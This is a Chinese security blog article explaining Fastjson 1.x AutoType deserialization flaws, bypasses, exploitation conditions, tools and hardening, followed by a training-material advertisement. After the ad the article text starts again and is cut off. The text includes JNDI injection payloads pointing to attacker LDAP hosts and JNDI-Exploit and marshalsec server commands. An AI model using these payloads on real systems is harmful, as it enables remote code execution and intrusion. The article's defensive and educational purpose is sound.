免责声明本文仅供授权渗透测试、红蓝对抗、安全研究学习所有实验操作请在自建靶场完成。未经授权对公网业务进行漏洞测试属于违法行为请严格遵守网络安全法律法规。前言Fastjson 作为阿里巴巴开源的 Java JSON 序列化与反序列化组件曾经在国内 Java 项目大规模普及几乎是互联网、政企、金融系统标配组件。从 2017 年爆出经典 CVE‑2017‑18349 开始多年间不断出现 AutoType 绕过漏洞大量安全事件、挖矿勒索攻击都和 Fastjson 漏洞相关。很多开发者、安全人员对 Fastjson 漏洞理解停留在 “type、JNDI 注入” 表层分不清各个版本的差异混淆 Fastjson1.x 与 Fastjson2.x 安全机制同时网上流传大量错误防御方案很多项目做了配置修改但依旧存在被绕过风险。本文万字完整梳理 Fastjson 漏洞体系讲解 AutoType 底层原理梳理全版本漏洞时间线拆解每一类绕过思路实战利用条件常用工具使用区分 Fastjson1.x 与 Fastjson2.x 巨大差异重点剖析现实环境中高频踩坑的防御误区同时给出自查、修复、加固完整方案。适合 Java 开发、安全运维、渗透测试工程师阅读。ATTCK 映射T1210 利用反序列化漏洞T1190 面向公众应用漏洞利用T1059 命令执行。一、Fastjson 基础与 AutoType 核心原理1.1 什么是序列化、反序列化序列化Java 对象转为 JSON 字符串用于网络传输、存储反序列化JSON 字符串恢复成 Java 对象。Fastjson 提供JSON.parse()、JSON.parseObject()实现反序列化。普通 JSON 只能映射固定 POJO 类如果需要反序列化多态对象就需要AutoType 自动类型支持。1.2 AutoType type 是什么AutoType 是 Fastjson 多态反序列化功能JSON 中通过type字段指定要实例化的完整 Java 类名。示例{ type:com.example.User, username:test }Fastjson 读取type的值加载对应的 Class实例化对象反射调用 setter、getter 方法给对象属性赋值。漏洞根源攻击者控制输入 JSON构造危险类名Fastjson 实例化恶意类反射调用类中的 setter/getter触发 JNDI 查找、恶意方法执行最终实现远程代码执行 RCE。注意漏洞不是 Fastjson 本身代码直接执行命令而是加载 Java Gadget小工具链类利用类自身原有逻辑完成攻击。1.3 Fastjson 1.x 安全机制演进历史1.2.24 及更早版本AutoType默认开启没有黑名单白名单直接加载任意 type 指定类漏洞裸奔CVE‑2017‑18349 就是这个时代的漏洞。1.2.25 版本重大变更默认关闭 autoTypeSupport新增checkAutoType()校验函数引入黑名单、白名单机制。autoTypeSupporttrue开启多态允许加载类同时校验黑白名单autoTypeSupportfalse默认关闭多态理论禁止任意类加载。1.2.25 之后安全研究者不断发现 checkAutoType 校验逻辑缺陷出现大量绕过每次更新扩充黑名单但黑名单防御模式存在先天短板堵完一个 Gadget 又出现新 Gadget。1.2.83Fastjson1.x 最后一个正式版本官方停止维护不再更新推荐迁移 Fastjson2。1.2.84针对 CVE‑2026‑16723 紧急补丁版本属于 1.x 分支临时修复依然不再长期维护。Fastjson2完全重新架构重构 AutoType 安全模型不再沿用 1.x 黑名单机制安全模型完全不同GitHub。非常关键知识点autoTypeSupportfalse 不等于绝对安全历史大量漏洞就是在默认关闭 AutoType 的场景下实现绕过 RCE这也是绝大多数人的认知误区。1.4 checkAutoType 简单逻辑梳理Fastjson1.x伪代码逻辑简化理解如果 autoTypeSupport true优先匹配白名单命中直接放行命中黑名单抛出异常不在黑白名单尝试加载类如果 autoTypeSupport false默认配置正常拒绝大部分类但代码逻辑存在缺陷部分场景可以绕过黑名单校验加载危险 Gadget 类。黑名单只能拦截已知危险类攻击者持续挖掘新第三方 Gadget黑名单永远追不上新 Gadget这就是黑名单防御的致命短板。二、Fastjson1.x 主要 CVE 漏洞梳理版本差异详解下面梳理真实环境经常遇到的高危 CVE包含受影响版本、利用条件、攻击原理。2.1 CVE‑2017‑18349 经典 Fastjson 漏洞受影响版本Fastjson 1.2.24条件AutoType 默认开启不需要绕过直接使用 type 指定 JdbcRowSetImpl、TemplatesImpl 等 Gadget。攻击原理com.sun.rowset.JdbcRowSetImpl类的 dataSourceName 属性支持 JNDI 地址Fastjson 反序列化设置恶意 ldap/rmi 地址触发 JNDI 远程类加载执行命令。经典 payload 片段{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://攻击IP:1389/Exploit, autoCommit:true }真实事件当年该漏洞大规模蠕虫挖矿公网大量服务器沦陷。1.2.25 版本关闭 autoType 默认开关加入黑名单拦截 JdbcRowSetImpl、TemplatesImpl。2.2 CVE‑2020‑35887 1.2.47 绕过受影响版本1.2.47条件autoTypeSupportfalse默认配置即可绕过不需要手动开启 AutoType。绕过技巧利用双 type 嵌套绕过 checkAutoType 校验逻辑缺陷绕过黑名单加载 TemplatesImpl。很多人以为升级到 1.2.25 就安全但是 1.2.47 依旧可以绕过这是护网中高频遇到的老漏洞。2.3 CVE‑2022‑25845 重大绕过漏洞受影响版本Fastjson 1.x 1.2.83条件默认 autoTypeSupportfalse无需开启 AutoType依靠第三方 Gadget 实现绕过 RCE。原理checkAutoType 逻辑缺陷部分第三方类不在黑名单可被触发比如 Hikari、Commons‑Proxy 相关 gadget。重要提示是否能够利用取决于目标服务器 classpath 环境是否存在对应的第三方 jar 包。如果目标没有对应依赖payload 不会执行 RCE只会抛出异常。2.4 CVE‑2026‑16723 Gadget‑Free 无依赖 RCE受影响版本Fastjson1.x 1.2.68 ~1.2.83包含 1.x 最终版 1.2.83。关键点Gadget‑Free不需要目标存在第三方依赖包仅仅依赖 JDK 内置类就可以 RCE破坏力巨大在野利用严重。autoType 默认关闭依旧可以触发SafeMode 未开启情况下攻击成立。修复版本1.2.84官方强烈建议开启 SafeMode 作为兜底防护。这是非常重磅漏洞很多运维升级到 1.2.83 就以为万事大吉1.2.83 是 1.x 停止维护版本依旧存在高危漏洞。2.5 Fastjson1.x 版本总结表格版本区间安全状态关键说明1.2.24高危AutoType 默认开启无需绕过直接打1.2.25‑1.2.47高危autoType 默认关闭但存在嵌套 type 绕过1.2.48‑1.2.67高危扩充黑名单仍然存在多种第三方 Gadget 绕过1.2.68‑1.2.83严重高危CVE‑2026‑16723无 gadget 依赖 RCE1.x 停止维护最终版1.2.84临时修复修复 CVE‑2026‑16723但是 1.x 不再长期维护优先迁移 Fastjson2重点不要迷信版本号即使 1.2.83默认配置下依旧高危1.x 整个系列官方已经停止维护不建议继续在新项目使用。三、Fastjson 各类绕过思路拆解3.1 嵌套 type 绕过CVE‑2020‑35887早期 checkAutoType 校验逻辑对于嵌套的 type 解析顺序存在缺陷外层类过校验内层恶意类直接实例化。{ type:...合法类, obj:{ type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, ... } }该绕过在 1.2.48 被修复但启发后续大量变种绕过思路。3.2 第三方 Gadget 绕过CVE‑2022‑25845 一类黑名单只能拦截 JDK 自带的危险类第三方组件类没有被纳入黑名单。如果项目 classpath 中引入了对应 jar 包攻击者就可以使用第三方 Gadget 完成攻击常见 Gadget 来源commons‑proxyHikariCP 数据库连接池ibatis‑sqlmapshiro 相关类spring 相关组件类实战坑同一个 payloadA 环境可以 RCEB 环境报错失败不是版本问题是 B 环境没有对应的第三方依赖 jar 包。3.3 JSONType 注解绕过部分类带有JSONType注解Fastjson 解析逻辑中带该注解的类会跳过部分 checkAutoType 校验逻辑这也是 CVE‑2026‑16723 漏洞的核心路径之一不需要额外第三方 gadgetJDK 内置即可利用。3.4 autoTypeSupporttrue 开启后的绕过业务因为多态需求手动开启autoTypeSupporttrue就算配置白名单白名单配置不当依旧存在风险。如果白名单配置父类子类可能绕过白名单配置包前缀书写错误防护失效。3.5 伪绕过现象很多 POC 误报网上大量 POC 发送恶意 JSON服务抛出autoType is not support异常就判定存在 Fastjson 漏洞。这个属于误报抛出这个异常代表 checkAutoType 已经拦截类加载没有完成实例化不代表存在 RCE。真实漏洞需要类成功实例化触发方法执行。渗透测试 SRC 提交不能只靠报错信息判断需要完整验证是否能够触发 JNDI 回连或者命令执行。四、Fastjson1.x 利用条件非常重要实战经常踩坑很多新手直接复制网上 payload发包之后没反应不清楚利用前置条件完整利用需要全部或者部分满足下面条件输入可控攻击者可以控制传入 Fastjson 反序列化的完整 JSON 字符串。注意仅仅是使用 Fastjson 做序列化对象输出 JSON不会触发漏洞风险发生在**反序列化parse/parseObject**阶段。HTTP 请求 body 直接传入 JSONCookie、请求参数、POST 表单参数传入 JSON 字符串后端直接交给JSON.parse()解析。调用危险解析方法JSON.parse(jsonStr); JSON.parseObject(jsonStr); JSON.parseObject(jsonStr, Object.class);如果直接指定明确安全 POJO 类JSON.parseObject(jsonStr,User.class)并且没有多态不会解析 type 字段攻击很难触发。JNDI 利用的额外条件老版本 payload目标服务器可以外网出网能够访问攻击者的 LDAP/RMI 服务器内网隔离环境无法回连攻击机传统 JdbcRowSetImpl payload 失效。JDK 版本限制高版本 JDK8u191 以上默认限制 LDAP 远程加载类传统 JNDI payload 失效。所以内网环境高 JDK 版本老的 LDAP payload 打不通需要 TemplatesImpl 本地 Gadget 或者 CVE‑2026‑16723 无 gadget payload。Gadget 依赖条件CVE‑2022‑25845 类漏洞需要 classpath 存在对应的第三方 jar 包CVE‑2026‑16723 属于 Gadget‑Free不需要第三方 jar 包JDK 自带就可以攻击危害最大。五、实战利用工具完整介绍5.1 JNDI‑ExploitJNDI 注入工具最常用 Fastjson 老版本漏洞利用工具开启 LDAP/RMI 服务接收目标回连提供恶意类加载。使用示例java -jar JNDI‑Exploit‑1.2‑SNAPSHOT.jar -A 你的攻击机IP -P 1389 -C calc.exe适用场景目标可以外网回连JDK 版本较低。内网不能出网该工具无效。5.2 marshalsecmarshalsec 可以生成各类反序列化 payload启动 RMI/LDAP 服务。java -cp marshalsec‑all.jar marshalsec.jndi.LDAPRefServer http://攻击ip/#Exploit 1389适合安全研究者调试 Gadget 链。5.3 Fastjson‑scan 检测工具Burp 插件 / Java 工具发送不同版本 payload监听 LDAP 回连判断是否存在漏洞。重要提醒回连 DNS/ldap 才是有效证据仅仅看响应包报错不能判定漏洞。5.4 内网无回连场景怎么测试目标服务器不能访问外网无法回连 LDAP 服务器传统工具失效。测试思路使用 DNSLog构造 payload 触发 DNS 解析记录判断类是否加载成功使用 TemplatesImpl 本地 Gadget不依赖回连直接本地执行CVE‑2026‑16723 payloadgadget‑free 本地触发。真实渗透中大量内网业务服务器无法外网出网LDAP 类 payload 全部失效很多人到这里就无法继续测试。六、Fastjson 1.x VS Fastjson2 核心差异很多开发简单替换包名就迁移不清楚两者安全模型天差地别这里重点区分。6.1 Fastjson1.xcom.alibaba:fastjson安全机制黑名单 白名单模式autoTypeSupport 开关漏洞现状1.x 分支停止维护持续爆出绕过autoTypeSupportfalse 默认关闭但是依旧存在绕过风险存在 type 多态字段存在 SafeMode 模式作为兜底防护。6.2 Fastjson2com.alibaba.fastjson2:fastjson2完全重构安全模型没有黑名单机制采用显式白名单机制。默认完全关闭任意类自动加载不存在 1.x 那种不断绕过黑名单的问题。没有全局 autoTypeSupport 开关如果业务需要多态反序列化必须代码显式注册允许的类不会自动加载任意类。SafeMode 开启之后就算业务代码开启多态也全部禁止。不兼容 1.x 全部 API需要改造代码官方提供兼容依赖包但兼容包底层依旧是 1.x 不安全内核不要使用兼容包当做安全升级。非常大误区很多项目直接引入 fastjson‑v2 兼容包依赖底层依旧是 fastjson1.x漏洞完全保留没有任何防护效果。迁移必须完整修改 API使用原生 fastjson2而不是兼容桥接包。6.3 Fastjson2 也不是绝对安全Fastjson2 默认配置安全但如果开发者错误配置手动大量注册危险类业务依旧会出现反序列化风险。2.x 也爆出过少量漏洞但没有出现像 1.x 系列大量持续的 AutoType 绕过。七、高频防御误区生产环境踩坑重灾区这一章是全文重点大量网上流传错误加固手段很多项目做了配置依旧被攻破。误区 1升级到 1.2.83 就安全了❌错误1.2.83 是 Fastjson1.x 最终停止维护版本存在 CVE‑2026‑16723 高危漏洞autoType 默认关闭依旧可以 RCE。✅正确1.x 系列不要继续使用临时兜底升级 1.2.84 同时开启 SafeMode长期目标迁移 Fastjson2。误区 2设置autoTypeSupportfalse就高枕无忧❌错误无数历史漏洞就是 autoTypeSupportfalse 情况下的绕过关闭开关只是基础防护不是最终安全屏障黑名单模式本身有设计缺陷会不断出现新绕过。✅正确关闭 autoTypeSupport 只是第一步必须叠加 SafeMode尽量避免解析不受信任的 JSON 到 Object.class。误区 3配置黑名单可以防御所有漏洞❌错误黑名单只能拦截已知危险类第三方 Gadget、新挖掘的 JDK 内置类不在黑名单中攻击者持续发现新 Gadget黑名单永远补不完。✅正确黑名单是补救手段不能当做主防御方案。误区 4WAF 拦截 type 字符串就能防御 Fastjson 漏洞❌错误payload 可以编码变形绕过 WAF 关键字检测CVE‑2026‑16723 部分利用方式不一定依赖 type内网环境没有 WAF防护直接失效。✅正确WAF 只是边界辅助防护服务端代码层面加固才是根本。误区 5业务需要多态打开 autoTypeSupport配置白名单就万事大吉❌错误白名单配置容易出错配置父类会导致子类可被加载包名前缀配置书写错误第三方依赖新增类引入新风险。公网暴露业务尽量不要开启 autoTypeSupport。✅正确公网业务尽量避免使用 AutoType 多态功能如果业务强需求优先迁移 Fastjson2显式注册具体允许类。误区 6只拦截 HTTP 请求体Cookie、参数中 JSON 不做处理❌错误很多开发只过滤 POST body但是业务代码会把 Cookie、URL 参数的字符串直接交给JSON.parse()解析攻击者在这里传入恶意 JSON绕过 WAF。✅正确所有来源的外部输入只要进入 Fastjson 反序列化都要做安全管控。误区 7换成 fastjson 兼容包以为完成升级❌错误fastjson2 兼容桥接包底层依赖 fastjson1.x漏洞全部继承没有任何安全提升。✅正确迁移必须使用原生 fastjson2 包改造 API不能用兼容包糊弄。误区 8判断响应抛出 “autoType is not support”代表修复完成❌错误该异常仅仅代表这一个 payload 被拦截不代表不存在其他绕过 payload。✅正确漏洞修复要升级版本 开启 SafeMode完整测试多组不同 payload不能单看一个报错。八、项目自查方法开发 / 运维实操8.1 第一步确认项目 fastjson 版本Maven 项目查看 pom.xml也可以查找依赖树mvn dependency:tree | grep fastjsongroupIdcom.alibaba→ Fastjson1.xgroupIdcom.alibaba.fastjson2→ Fastjson2。注意很多间接依赖引入 fastjson项目 pom 没有直接写但是第三方框架间接引入版本依旧危险。需要检查完整依赖树。8.2 查找危险代码写法搜索代码中这些方法调用JSON.parse(外部可控字符串); JSON.parseObject(外部可控字符串); JSON.parseObject(str, Object.class);风险点外部输入直接解析为 Object.class允许触发多态逻辑。安全写法直接解析到确定业务 POJO 类避免解析为 Object。//安全明确指定POJO User user JSON.parseObject(jsonStr,User.class);8.3 检查 ParserConfig 全局配置是否手动开启 autoTypeSupporttrue公网业务尽量不要开启是否开启 SafeMode。九、完整修复加固方案分场景场景 1新项目开发直接使用Fastjson2不要选择 Fastjson1.x。Maven 依赖示例dependency groupIdcom.alibaba.fastjson2/groupId artifactIdfastjson2/artifactId version2.0.63/version /dependency业务需要多态反序列化显式注册允许的类不要自动加载任意类开启 SafeMode。场景 2老项目暂时无法迁移 Fastjson2Fastjson1.x⚠️这只是临时缓解方案1.x 官方停止维护后续还会出现新漏洞。升级到临时修复版本 1.2.84关闭 autoTypeSupport默认 false确认不要手动改为 true强制开启 SafeMode 全局安全模式最重要兜底//全局开启SafeMode推荐放在项目启动类 ParserConfig.getGlobalInstance().setSafeMode(true);JVM 启动参数方式也可以作为兜底‑Dfastjson.parser.safeModetrue开启 SafeMode 之后autoType 多态功能完全失效如果业务强依赖 AutoType 多态开启 SafeMode 会导致业务报错这种情况就必须迁移 Fastjson2不能继续使用 1.x。代码层面尽量避免把外部不可信 JSON 解析为Object.class优先指定固定 POJO 实体类。禁止把 Cookie、请求参数、表单原始字符串直接交给JSON.parse()反序列化。场景 3业务必须开启 AutoType 多态优先迁移 Fastjson2显式注册业务允许的类公网对外暴露接口尽量不要开启多态内网接口也要最小权限注册类Fastjson1.x 环境开启 SafeMode 会直接禁用 autoType无法同时使用这种情况代表 1.x 已经不适合你的业务。通用加固建议升级 JDK 版本缩小 JNDI 注入攻击面网络层面限制服务器外网出网减少 JNDI 回连攻击链路日志监控监控业务日志出现autoType is not support大量异常大概率正在遭受 Fastjson 漏洞攻击定期依赖扫描使用 maven‑dependency‑check 等工具扫描第三方组件漏洞。十、渗透测试 Fastjson 漏洞测试思路信息收集识别项目 Fastjson 版本确认是 1.x 还是 2.x寻找外部可控输入点输入完整 JSON 字符串后端交给 parse/parseObject构造 DNSLog payload触发 DNS 查询判断类加载是否成功区分报错autoType is not support属于拦截不等于漏洞内网环境无法回连 LDAP优先测试 gadget‑free payload注意间接依赖引入 Fastjson即使业务代码没有直接 import框架内部使用 Fastjson 同样存在风险不要只测试 HTTP Body同时测试 Cookie、请求参数传入 JSON 字符串漏洞证据需要完整可控输入点、回连 DNSLog/LDAP 记录不能仅仅依靠响应报错。提交 SRC 漏洞报告需要附上 payload、DNSlog 回连截图说明版本、利用条件区分 1.x/2.x。总结Fastjson1.x 反序列化漏洞不是单一漏洞而是一整个漏洞家族多年来攻击者与黑白名单校验机制持续博弈。漏洞核心来自 AutoTypetype 多态反序列化攻击者控制 JSON 输入加载危险 Gadget 类反射调用方法触发 RCE。版本认知1.2.24 裸奔1.2.25‑1.2.83 虽然默认关闭 autoTypeSupport但是存在大量绕过1.2.83 依旧存在 CVE‑2026‑16723 高危无第三方依赖 RCE1.x 已经停止维护。黑名单防御存在先天缺陷只能防御已知 Gadget无法对抗新挖掘 GadgetautoTypeSupportfalse不是铜墙铁壁SafeMode 才是 1.x 重要兜底。Fastjson2 重构安全架构摒弃黑名单模式采用显式注册白名单是长期安全选择切忌使用 1.x 兼容桥接包伪升级。大量防御误区WAF 拦截关键字、单纯升级到 1.2.83、只关闭 autoTypeSupport 都不能实现完整防护。开发层面尽量不要把不受控外部 JSON 解析为 Object.class公网业务尽量规避 AutoType 多态老项目临时加固必须开启 SafeMode长远迁移 Fastjson2。在护网、真实红蓝对抗中很多 WAF 可以拦截 SQL 注入、XSS但是 Fastjson 反序列化漏洞经常穿透边界防护内网大量老 Java 系统受影响理解版本差异和绕过原理才不会被各类 POC、网上错误加固方案误导。本文全部内容来自公开安全研究仅用于授权安全测试严禁未授权实际环境利用。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】 
长河君 · 2026/10/15 15:06:10 · 阅读 1.2k Fastjson 漏洞完整梳理：版本差异、绕过、工具、防御误区
免责声明本文仅供授权渗透测试、红蓝对抗、安全研究学习所有实验操作请在自建靶场完成。未经授权对公网业务进行漏洞测试属于违法行为请严格遵守网络安全法律法规。前言Fastjson 作为阿里巴巴开源的 Java JSON 序列化与反序列化组件曾经在国内 Java 项目大规模普及几乎是互联网、政企、金融系统标配组件。从 2017 年爆出经典 CVE‑2017‑18349 开始多年间不断出现 AutoType 绕过漏洞大量安全事件、挖矿勒索攻击都和 Fastjson 漏洞相关。很多开发者、安全人员对 Fastjson 漏洞理解停留在 “type、JNDI 注入” 表层分不清各个版本的差异混淆 Fastjson1.x 与 Fastjson2.x 安全机制同时网上流传大量错误防御方案很多项目做了配置修改但依旧存在被绕过风险。本文万字完整梳理 Fastjson 漏洞体系讲解 AutoType 底层原理梳理全版本漏洞时间线拆解每一类绕过思路实战利用条件常用工具使用区分 Fastjson1.x 与 Fastjson2.x 巨大差异重点剖析现实环境中高频踩坑的防御误区同时给出自查、修复、加固完整方案。适合 Java 开发、安全运维、渗透测试工程师阅读。ATTCK 映射T1210 利用反序列化漏洞T1190 面向公众应用漏洞利用T1059 命令执行。一、Fastjson 基础与 AutoType 核心原理1.1 什么是序列化、反序列化序列化Java 对象转为 JSON 字符串用于网络传输、存储反序列化JSON 字符串恢复成 Java 对象。Fastjson 提供JSON.parse()、JSON.parseObject()实现反序列化。普通 JSON 只能映射固定 POJO 类如果需要反序列化多态对象就需要AutoType 自动类型支持。1.2 AutoType type 是什么AutoType 是 Fastjson 多态反序列化功能JSON 中通过type字段指定要实例化的完整 Java 类名。示例{ type:com.example.User, username:test }Fastjson 读取type的值加载对应的 Class实例化对象反射调用 setter、getter 方法给对象属性赋值。漏洞根源攻击者控制输入 JSON构造危险类名Fastjson 实例化恶意类反射调用类中的 setter/getter触发 JNDI 查找、恶意方法执行最终实现远程代码执行 RCE。注意漏洞不是 Fastjson 本身代码直接执行命令而是加载 Java Gadget小工具链类利用类自身原有逻辑完成攻击。1.3 Fastjson 1.x 安全机制演进历史1.2.24 及更早版本AutoType默认开启没有黑名单白名单直接加载任意 type 指定类漏洞裸奔CVE‑2017‑18349 就是这个时代的漏洞。1.2.25 版本重大变更默认关闭 autoTypeSupport新增checkAutoType()校验函数引入黑名单、白名单机制。autoTypeSupporttrue开启多态允许加载类同时校验黑白名单autoTypeSupportfalse默认关闭多态理论禁止任意类加载。1.2.25 之后安全研究者不断发现 checkAutoType 校验逻辑缺陷出现大量绕过每次更新扩充黑名单但黑名单防御模式存在先天短板堵完一个 Gadget 又出现新 Gadget。1.2.83Fastjson1.x 最后一个正式版本官方停止维护不再更新推荐迁移 Fastjson2。1.2.84针对 CVE‑2026‑16723 紧急补丁版本属于 1.x 分支临时修复依然不再长期维护。Fastjson2完全重新架构重构 AutoType 安全模型不再沿用 1.x 黑名单机制安全模型完全不同GitHub。非常关键知识点autoTypeSupportfalse 不等于绝对安全历史大量漏洞就是在默认关闭 AutoType 的场景下实现绕过 RCE这也是绝大多数人的认知误区。1.4 checkAutoType 简单逻辑梳理Fastjson1.x伪代码逻辑简化理解如果 autoTypeSupport true优先匹配白名单命中直接放行命中黑名单抛出异常不在黑白名单尝试加载类如果 autoTypeSupport false默认配置正常拒绝大部分类但代码逻辑存在缺陷部分场景可以绕过黑名单校验加载危险 Gadget 类。黑名单只能拦截已知危险类攻击者持续挖掘新第三方 Gadget黑名单永远追不上新 Gadget这就是黑名单防御的致命短板。二、Fastjson1.x 主要 CVE 漏洞梳理版本差异详解下面梳理真实环境经常遇到的高危 CVE包含受影响版本、利用条件、攻击原理。2.1 CVE‑2017‑18349 经典 Fastjson 漏洞受影响版本Fastjson 1.2.24条件AutoType 默认开启不需要绕过直接使用 type 指定 JdbcRowSetImpl、TemplatesImpl 等 Gadget。攻击原理com.sun.rowset.JdbcRowSetImpl类的 dataSourceName 属性支持 JNDI 地址Fastjson 反序列化设置恶意 ldap/rmi 地址触发 JNDI 远程类加载执行命令。经典 payload 片段{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://攻击IP:1389/Exploit, autoCommit:true }真实事件当年该漏洞大规模蠕虫挖矿公网大量服务器沦陷。1.2.25 版本关闭 autoType 默认开关加入黑名单拦截 JdbcRowSetImpl、TemplatesImpl。2.2 CVE‑2020‑35887 1.2.47 绕过受影响版本1.2.47条件autoTypeSupportfalse默认配置即可绕过不需要手动开启 AutoType。绕过技巧利用双 type 嵌套绕过 checkAutoType 校验逻辑缺陷绕过黑名单加载 TemplatesImpl。很多人以为升级到 1.2.25 就安全但是 1.2.47 依旧可以绕过这是护网中高频遇到的老漏洞。2.3 CVE‑2022‑25845 重大绕过漏洞受影响版本Fastjson 1.x 1.2.83条件默认 autoTypeSupportfalse无需开启 AutoType依靠第三方 Gadget 实现绕过 RCE。原理checkAutoType 逻辑缺陷部分第三方类不在黑名单可被触发比如 Hikari、Commons‑Proxy 相关 gadget。重要提示是否能够利用取决于目标服务器 classpath 环境是否存在对应的第三方 jar 包。如果目标没有对应依赖payload 不会执行 RCE只会抛出异常。2.4 CVE‑2026‑16723 Gadget‑Free 无依赖 RCE受影响版本Fastjson1.x 1.2.68 ~1.2.83包含 1.x 最终版 1.2.83。关键点Gadget‑Free不需要目标存在第三方依赖包仅仅依赖 JDK 内置类就可以 RCE破坏力巨大在野利用严重。autoType 默认关闭依旧可以触发SafeMode 未开启情况下攻击成立。修复版本1.2.84官方强烈建议开启 SafeMode 作为兜底防护。这是非常重磅漏洞很多运维升级到 1.2.83 就以为万事大吉1.2.83 是 1.x 停止维护版本依旧存在高危漏洞。2.5 Fastjson1.x 版本总结表格版本区间安全状态关键说明1.2.24高危AutoType 默认开启无需绕过直接打1.2.25‑1.2.47高危autoType 默认关闭但存在嵌套 type 绕过1.2.48‑1.2.67高危扩充黑名单仍然存在多种第三方 Gadget 绕过1.2.68‑1.2.83严重高危CVE‑2026‑16723无 gadget 依赖 RCE1.x 停止维护最终版1.2.84临时修复修复 CVE‑2026‑16723但是 1.x 不再长期维护优先迁移 Fastjson2重点不要迷信版本号即使 1.2.83默认配置下依旧高危1.x 整个系列官方已经停止维护不建议继续在新项目使用。三、Fastjson 各类绕过思路拆解3.1 嵌套 type 绕过CVE‑2020‑35887早期 checkAutoType 校验逻辑对于嵌套的 type 解析顺序存在缺陷外层类过校验内层恶意类直接实例化。{ type:...合法类, obj:{ type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, ... } }该绕过在 1.2.48 被修复但启发后续大量变种绕过思路。3.2 第三方 Gadget 绕过CVE‑2022‑25845 一类黑名单只能拦截 JDK 自带的危险类第三方组件类没有被纳入黑名单。如果项目 classpath 中引入了对应 jar 包攻击者就可以使用第三方 Gadget 完成攻击常见 Gadget 来源commons‑proxyHikariCP 数据库连接池ibatis‑sqlmapshiro 相关类spring 相关组件类实战坑同一个 payloadA 环境可以 RCEB 环境报错失败不是版本问题是 B 环境没有对应的第三方依赖 jar 包。3.3 JSONType 注解绕过部分类带有JSONType注解Fastjson 解析逻辑中带该注解的类会跳过部分 checkAutoType 校验逻辑这也是 CVE‑2026‑16723 漏洞的核心路径之一不需要额外第三方 gadgetJDK 内置即可利用。3.4 autoTypeSupporttrue 开启后的绕过业务因为多态需求手动开启autoTypeSupporttrue就算配置白名单白名单配置不当依旧存在风险。如果白名单配置父类子类可能绕过白名单配置包前缀书写错误防护失效。3.5 伪绕过现象很多 POC 误报网上大量 POC 发送恶意 JSON服务抛出autoType is not support异常就判定存在 Fastjson 漏洞。这个属于误报抛出这个异常代表 checkAutoType 已经拦截类加载没有完成实例化不代表存在 RCE。真实漏洞需要类成功实例化触发方法执行。渗透测试 SRC 提交不能只靠报错信息判断需要完整验证是否能够触发 JNDI 回连或者命令执行。四、Fastjson1.x 利用条件非常重要实战经常踩坑很多新手直接复制网上 payload发包之后没反应不清楚利用前置条件完整利用需要全部或者部分满足下面条件输入可控攻击者可以控制传入 Fastjson 反序列化的完整 JSON 字符串。注意仅仅是使用 Fastjson 做序列化对象输出 JSON不会触发漏洞风险发生在**反序列化parse/parseObject**阶段。HTTP 请求 body 直接传入 JSONCookie、请求参数、POST 表单参数传入 JSON 字符串后端直接交给JSON.parse()解析。调用危险解析方法JSON.parse(jsonStr); JSON.parseObject(jsonStr); JSON.parseObject(jsonStr, Object.class);如果直接指定明确安全 POJO 类JSON.parseObject(jsonStr,User.class)并且没有多态不会解析 type 字段攻击很难触发。JNDI 利用的额外条件老版本 payload目标服务器可以外网出网能够访问攻击者的 LDAP/RMI 服务器内网隔离环境无法回连攻击机传统 JdbcRowSetImpl payload 失效。JDK 版本限制高版本 JDK8u191 以上默认限制 LDAP 远程加载类传统 